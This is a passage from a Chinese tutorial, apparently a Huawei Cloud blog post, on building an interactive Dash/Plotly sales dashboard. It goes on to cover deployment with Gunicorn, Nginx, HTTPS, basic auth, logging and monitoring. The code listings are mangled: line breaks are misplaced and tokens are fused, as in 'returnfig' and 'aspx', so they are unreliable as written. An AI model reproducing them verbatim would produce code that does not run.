dcc.Graph(
id
='sales-trend')
])

# 回调函数
@app.callback(
dash.dependencies.Output(
'sales-trend', 'figure'),
[dash.dependencies.Input(
'product-dropdown', 'value')]
)
def update_trend(selected_product):
filtered_df
= df[df['Product'] ==selected_product]
fig
= px.line(filtered_df, x='Month', y='Sales', title=f'{selected_product}销售趋势')returnfig

# 启动应用
if __name__ == '__main__':
app.run_server(debug
=True)

在这个例子中,我们添加了一个下拉菜单,允许用户选择不同的产品类别。当用户选择不同的产品后,图表将会更新以显示所选产品的销售趋势。这样,用户就可以更灵活地探索不同产品的销售情况。

除了简单的折线图外,Plotly还提供了丰富的图表类型和定制选项,可以满足更多复杂的可视化需求。Dash则允许我们构建交互式的Web应用,并通过回调函数实现图表的动态更新,为用户提供更好的体验。

添加交互性与样式美化

在上述案例中,我们展示了如何使用Dash和Plotly创建数据可视化应用,并提供了基本的交互功能。现在,让我们进一步添加一些交互性和样式美化,使我们的应用更加吸引人和易于使用。

import dashfromdash import dcc, html, callback_context
import plotly.express
aspx
import pandas
aspd

# 读取数据
df
= pd.read_csv('sales_data.csv')

# 获取唯一的产品列表
available_products
= df['Product'].unique()

# 创建Dash应用
app
=dash.Dash(__name__)

# 应用样式
app.layout
=html.Div([
html.H1(
"销售数据趋势", style={'textAlign': 'center'}),
html.Div([
html.Label(
"选择产品:"),
dcc.Dropdown(
id
='product-dropdown',
options
=[{'label': product, 'value': product} for product inavailable_products],
value
=available_products[0]
)
], style
={'width': '50%', 'margin': 'auto', 'textAlign': 'center'}),
dcc.Graph(
id
='sales-trend',
config
={'displayModeBar': False} # 禁用图表的模式栏
)
], style
={'padding': '20px'})

# 回调函数
@app.callback(
dash.dependencies.Output(
'sales-trend', 'figure'),
[dash.dependencies.Input(
'product-dropdown', 'value')]
)
def update_trend(selected_product):
filtered_df
= df[df['Product'] ==selected_product]
fig
= px.line(filtered_df, x='Month', y='Sales', title=f'{selected_product}销售趋势')returnfig

# 启动应用
if __name__ == '__main__':
app.run_server(debug
=True)

在这个例子中,我们添加了一些样式以使应用看起来更吸引人。我们设置了标题居中显示,并在产品下拉菜单周围添加了一些空白空间以增加布局的美观性。此外,我们还禁用了图表的模式栏,以简化用户界面。

通过这些改进,我们的应用现在不仅提供了强大的交互式数据可视化功能,而且具有更好的外观和用户体验。这将使用户更愿意使用我们的应用来探索数据,并从中获得有价值的见解。

部署至生产环境

在完成数据可视化应用的开发之后,我们通常希望将应用部署到生产环境中,以便其他用户能够访问和使用。在本节中,我们将讨论如何将我们的Dash应用部署到生产服务器上。

使用Gunicorn和Nginx

Gunicorn是一个Python WSGI(HTTP服务器) HTTP服务器,它能够处理来自Web应用的HTTP请求。Nginx则是一个高性能的HTTP和反向代理服务器,通常用于处理静态文件和负载均衡。

首先,我们需要安装Gunicorn和Nginx:

pip install gunicorn
sudo apt
-get install nginx

接下来,我们使用Gunicorn来运行我们的Dash应用:

gunicorn -w 4 -b 0.0.0.0:8050 your_app:app

这将在本地启动Gunicorn服务器,并将Dash应用运行在8050端口上。接下来,我们需要配置Nginx来作为反向代理,将HTTP请求转发到Gunicorn服务器上。

配置Nginx

在Nginx的配置文件中添加以下内容:

server {
listen
80;
server_name your_domain.com;

location
/{
proxy_pass http:
//127.0.0.1:8050; proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X
-Real-IP $remote_addr;
proxy_set_header X
-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X
-Forwarded-Proto $scheme;
}
}

将your_domain.com替换为你的域名。然后重新加载Nginx配置:

sudo systemctl reload nginx

现在,你的Dash应用已经成功部署到生产环境中,并且可以通过你的域名访问了。

使用HTTPS

为了提高安全性,我们还可以配置Nginx来使用HTTPS协议。你需要获取SSL证书并将其配置到Nginx中。一种简单的方法是使用Let’s Encrypt来获取免费的SSL证书。以下是一个简单的配置示例:

server {
listen
80;
server_name your_domain.com;

location
/{return 301 https://$host$request_uri; }
}

server {
listen
443ssl;
server_name your_domain.com;

ssl_certificate
/etc/letsencrypt/live/your_domain.com/fullchain.pem;
ssl_certificate_key
/etc/letsencrypt/live/your_domain.com/privkey.pem;

location
/{
proxy_pass http:
//127.0.0.1:8050; proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X
-Real-IP $remote_addr;
proxy_set_header X
-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X
-Forwarded-Proto $scheme;
}
}

这样配置后,你的Dash应用将通过HTTPS协议提供服务,并且所有的HTTP请求都会被重定向到HTTPS。

集成用户认证和权限管理

在某些情况下,你可能希望限制对数据可视化应用的访问,只允许特定用户或用户组访问。为了实现这一点,我们可以集成用户认证和权限管理系统。

使用基本认证

一种简单的方法是使用基本认证(Basic Authentication)。你可以在Nginx中配置基本认证,要求用户在访问应用之前提供用户名和密码。以下是一个示例Nginx配置:

server {
listen
443ssl;
server_name your_domain.com;

ssl_certificate
/etc/letsencrypt/live/your_domain.com/fullchain.pem;
ssl_certificate_key
/etc/letsencrypt/live/your_domain.com/privkey.pem;

location
/{
auth_basic
"Restricted Access";
auth_basic_user_file
/etc/nginx/.htpasswd;

proxy_pass http:
//127.0.0.1:8050; proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X
-Real-IP $remote_addr;
proxy_set_header X
-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X
-Forwarded-Proto $scheme;
}
}

在这个配置中,我们使用auth_basic指令启用基本认证,并指定了一个密码文件/etc/nginx/.htpasswd。你需要使用htpasswd工具创建这个密码文件,并向其中添加用户名和密码。

使用OAuth认证

另一种常见的方法是使用OAuth认证。通过OAuth,你可以将用户的认证过程委托给第三方身份提供者,如Google、GitHub等。一旦用户通过第三方身份提供者认证成功,他们就可以访问你的应用。

你可以使用Dash的dash-auth库来实现OAuth认证。该库提供了一种简单的方式来集成多种OAuth提供者,并限制对Dash应用的访问。

添加权限管理

除了认证之外,你可能还希望对用户进行授权,以确定他们是否有权访问特定的数据或功能。一种常见的方法是在应用中实现角色基础的访问控制(Role-Based Access Control,RBAC)系统。通过RBAC,你可以将用户分配到不同的角色,并在应用中限制不同角色的访问权限。

你可以在Dash应用中实现RBAC系统,根据用户的角色来决定他们是否有权执行特定操作。这可能涉及到在用户登录时检查他们的角色,并根据角色动态地调整应用中的功能和数据访问权限。

日志记录和错误处理

在部署生产环境的应用时,日志记录和错误处理是非常重要的。良好的日志记录可以帮助你追踪应用的运行情况,并及时发现和解决问题。错误处理能够提高应用的稳定性,减少因错误而导致的服务中断。

配置日志记录

首先,让我们配置应用的日志记录。Dash应用通常会输出日志到stdout或stderr,我们可以通过重定向这些日志到一个文件来进行记录。我们还可以使用Python的logging模块来实现更高级的日志记录。

import logging

logging.basicConfig(filename
='app.log', level=logging.INFO)

在Dash应用中添加上述代码将会把日志记录到名为app.log的文件中,并设置记录级别为INFO。你可以根据需要调整日志级别,以便记录不同程度的信息。

错误处理

另一个重要的方面是错误处理。当应用发生错误时,我们希望能够捕获并记录这些错误,同时向用户提供友好的错误信息。

在Dash应用中,你可以使用try-except块来捕获异常,并在发生异常时返回一个错误页面或显示一条友好的错误消息。

@app.server.errorhandler(Exception)
def handle_error(e):
logging.error(f
'An error occurred: {str(e)}')return html.H1("Oops! Something went wrong."), 500

在上述代码中,我们定义了一个错误处理函数handle_error,它捕获了所有的异常。当发生异常时,它会将错误信息记录到日志中,并返回一个包含错误消息的页面给用户。

通过良好的日志记录和错误处理,我们可以更好地了解应用的运行情况,并在发生错误时采取相应的措施来保障应用的稳定性和可靠性。

监控和性能优化

最后,一旦应用部署到生产环境中,我们还需要定期监控应用的性能,并采取措施来优化性能。这包括监控应用的响应时间、内存使用情况、CPU负载等指标,并根据监控结果进行优化。

你可以使用监控工具如Prometheus、Grafana等来监控应用的性能指标,并根据监控结果进行调整和优化。

总结

本文详细介绍了将Dash应用部署到生产环境的关键步骤和必要措施。首先,我们讨论了使用Gunicorn和Nginx来部署Dash应用的方法,并展示了如何通过HTTPS协议提高应用的安全性。接着,我们探讨了如何集成用户认证和权限管理系统,以及如何配置日志记录和错误处理,从而提高应用的稳定性和可靠性。最后,我们强调了监控和性能优化的重要性,并提出了一些监控工具和优化方法。通过这些措施,我们可以将Dash应用部署到生产环境中,并使其在生产环境中更加健壮和可靠,为用户提供优质的服务和体验。

点击关注,第一时间了解华为云新鲜技术~